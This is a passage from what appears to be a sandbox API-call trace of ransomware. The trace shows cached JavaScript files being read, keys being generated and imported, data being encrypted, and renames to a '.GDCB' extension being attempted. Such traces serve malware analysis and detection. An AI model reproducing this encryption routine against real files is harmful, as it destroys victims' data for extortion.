Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\1cc152ef[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\1cc152ef[1].js.gdcb")) returned 0 [0226.690] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0226.692] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.693] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.693] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0226.693] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.693] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0226.695] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.696] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.696] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0226.696] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.696] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0226.698] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488600) returned 1 [0226.698] CryptGetKeyParam (in: hKey=0x6488600, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.698] CryptEncrypt (in: hKey=0x6488600, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0226.699] GetLastError () returned 0x0 [0226.699] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.699] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0226.700] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64881c0) returned 1 [0226.700] CryptGetKeyParam (in: hKey=0x64881c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.700] CryptEncrypt (in: hKey=0x64881c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7bb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0226.701] GetLastError () returned 0x0 [0226.701] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.701] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\3c99c1b4[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\3c99c1b4[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0226.702] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7bc0000 [0226.704] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7bd0000 [0226.706] ReadFile (in: hFile=0x424, lpBuffer=0x7bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7bd0000*, lpNumberOfBytesRead=0x285d160*=0x87d8, lpOverlapped=0x0) returned 1 [0226.714] VirtualAlloc (lpAddress=0x0, dwSize=0x87e0, flAllocationType=0x3000, flProtect=0x4) returned 0x7ce0000 [0226.722] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\3c99c1b4[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\3c99c1b4[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\3c99c1b4[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\3c99c1b4[1].js.gdcb")) returned 0 [0226.725] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0226.727] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.728] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.728] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0226.728] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.728] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0226.730] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.731] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.731] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0226.731] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.731] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0226.734] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488680) returned 1 [0226.734] CryptGetKeyParam (in: hKey=0x6488680, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.734] CryptEncrypt (in: hKey=0x6488680, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0226.734] GetLastError () returned 0x0 [0226.734] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.734] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0226.736] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488280) returned 1 [0226.736] CryptGetKeyParam (in: hKey=0x6488280, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.736] CryptEncrypt (in: hKey=0x6488280, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7bb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0226.737] GetLastError () returned 0x0 [0226.737] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0226.737] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\3e533cad[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\3e533cad[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0226.738] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7bc0000 [0226.740] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7bd0000 [0226.742] ReadFile (in: hFile=0x424, lpBuffer=0x7bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7bd0000*, lpNumberOfBytesRead=0x285d160*=0xb3ab, lpOverlapped=0x0) returned 1 [0226.751] VirtualAlloc (lpAddress=0x0, dwSize=0xb3b0, flAllocationType=0x3000, flProtect=0x4) returned 0x7ce0000 [0226.757] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\3e533cad[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\3e533cad[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\3e533cad[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\3e533cad[1].js.gdcb")) returned 0 [0226.761] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0226.763] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.764] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.765] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0226.765] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.765] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0226.767] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.768] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.768] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0226.768] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.768] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0226.770] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488440) returned 1 [0226.770] CryptGetKeyParam (in: hKey=0x6488440, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.770] CryptEncrypt (in: hKey=0x6488440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0226.771] GetLastError () returned 0x0 [0226.771] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0226.771] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0226.773] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488400) returned 1 [0226.773] CryptGetKeyParam (in: hKey=0x6488400, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.773] CryptEncrypt (in: hKey=0x6488400, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7bb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0226.773] GetLastError () returned 0x0 [0226.773] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.773] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\4b55922b[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\4b55922b[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0226.775] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7bc0000 [0226.776] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7bd0000 [0226.778] ReadFile (in: hFile=0x424, lpBuffer=0x7bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7bd0000*, lpNumberOfBytesRead=0x285d160*=0x25bcc, lpOverlapped=0x0) returned 1 [0226.787] VirtualAlloc (lpAddress=0x0, dwSize=0x25bd0, flAllocationType=0x3000, flProtect=0x4) returned 0x7ce0000 [0226.795] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\4b55922b[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\4b55922b[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\4b55922b[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\4b55922b[1].js.gdcb")) returned 0 [0226.802] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0226.804] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.805] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.805] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0226.805] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.805] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0226.807] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.808] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.808] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0226.808] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.808] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0226.817] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488140) returned 1 [0226.817] CryptGetKeyParam (in: hKey=0x6488140, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.817] CryptEncrypt (in: hKey=0x6488140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0226.817] GetLastError () returned 0x0 [0226.817] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0226.817] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0226.821] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64883c0) returned 1 [0226.821] CryptGetKeyParam (in: hKey=0x64883c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.821] CryptEncrypt (in: hKey=0x64883c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7bb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0226.821] GetLastError () returned 0x0 [0226.821] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.821] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\613fadbe[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\613fadbe[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0226.823] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7bc0000 [0226.825] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7bd0000 [0226.826] ReadFile (in: hFile=0x424, lpBuffer=0x7bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7bd0000*, lpNumberOfBytesRead=0x285d160*=0x21965, lpOverlapped=0x0) returned 1 [0226.835] VirtualAlloc (lpAddress=0x0, dwSize=0x21970, flAllocationType=0x3000, flProtect=0x4) returned 0x7ce0000 [0226.883] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\613fadbe[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\613fadbe[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\613fadbe[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\613fadbe[1].js.gdcb")) returned 0 [0226.887] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0226.889] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.890] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.890] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0226.890] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.890] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0226.892] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.893] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.893] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0226.893] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.893] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0226.896] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488340) returned 1 [0226.896] CryptGetKeyParam (in: hKey=0x6488340, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.896] CryptEncrypt (in: hKey=0x6488340, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0226.896] GetLastError () returned 0x0 [0226.896] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.896] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0226.898] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488200) returned 1 [0226.898] CryptGetKeyParam (in: hKey=0x6488200, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0226.898] CryptEncrypt (in: hKey=0x6488200, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7bb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0226.898] GetLastError () returned 0x0 [0226.898] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0226.898] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\69d5af3a[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\69d5af3a[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0226.900] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7bc0000 [0226.902] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7bd0000 [0226.903] ReadFile (in: hFile=0x424, lpBuffer=0x7bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7bd0000*, lpNumberOfBytesRead=0x285d160*=0xc1c9, lpOverlapped=0x0) returned 1 [0226.920] VirtualAlloc (lpAddress=0x0, dwSize=0xc1d0, flAllocationType=0x3000, flProtect=0x4) returned 0x7ce0000 [0226.927] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\69d5af3a[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application 